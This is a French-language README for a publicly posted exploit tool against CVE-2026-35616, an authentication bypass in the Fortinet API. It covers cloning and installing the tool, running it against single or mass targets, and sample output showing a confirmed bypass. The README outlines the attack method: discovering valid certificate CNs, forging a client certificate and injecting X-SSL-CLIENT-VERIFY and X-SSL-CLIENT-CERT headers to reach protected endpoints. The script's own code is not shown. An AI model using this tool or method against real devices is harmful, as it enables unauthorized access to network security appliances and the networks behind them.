
Script d'exploitation pour CVE-2026-35616 qui contourne la vérification de la chaîne de certificats dans l'API Fortinet en découvrant des CN valides, en générant un certificat client falsifié et en sondant les points de terminaison protégés avec des en-têtes personnalisés.
Exploitation de la vulnérabilité de contournement de la vérification de la chaîne de certificats dans l'API Fortinet.
Le script détecte automatiquement les Common Name (CN) valides à partir de diverses sources,
génère un certificat client falsifié et effectue des requêtes vers des endpoints protégés
en utilisant les en-têtes X-SSL-CLIENT-VERIFY et X-SSL-CLIENT-CERT.
!!!Important : À utiliser uniquement sur des systèmes pour lesquels vous disposez d'une autorisation explicite de test.
requestscryptographyurllib3openssl (pour la détection avancée de CA via le handshake TLS)# Clonage du projet
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616
# Installation des dépendances
pip install -r requirements.txt
## Utilisation
# Lancement de base
python3 exploit.py
# Avec spécification de la cible et du port
python3 exploit.py <TARGET_IP> [PORT]
# Exemples :
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443
# Format du fichier de cibles (targets.txt)
Pour les tests en masse, créez un fichier targets.txt avec une adresse cible par ligne :
192.168.1.100:443
10.0.0.50:8443
fortigate.internal
# Fichiers de sortie
En cas d'exécution réussie, le script crée :
results/bypass_results_<TARGET>_<PORT>_<TIMESTAMP>.json — rapport détaillé au format JSON avec :
Le CN utilisé
Les statuts de réponse pour chaque endpoint
Les préfixes de réponse pour analyse
# Structure de sortie
[ wa6n3r ] ◆ GH: github.com/wa6n3r ◆ WEB: wa6n3r.com
[*] CVE-2026-35616 Target: https://192.168.1.100:443
[*] Discovering CA CNs from multiple sources...
[•] TLS CA CN: 'fortinet-ca2'
[•] ZTNA CA CN: 'support'
[*] Found 2 candidate CN(s): fortinet-ca2, support
[*] Testing 2 candidate CN(s) for bypass...
[+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFIRMED
[*] Probing all cert_chain endpoints with CN='support'...
GET /api/v1/system/capabilities
HTTP 200: '{"result": {"retval": 1, ...}}'
[+] Results saved to: results/bypass_results_192.168.1.100_443_20260101_120000.json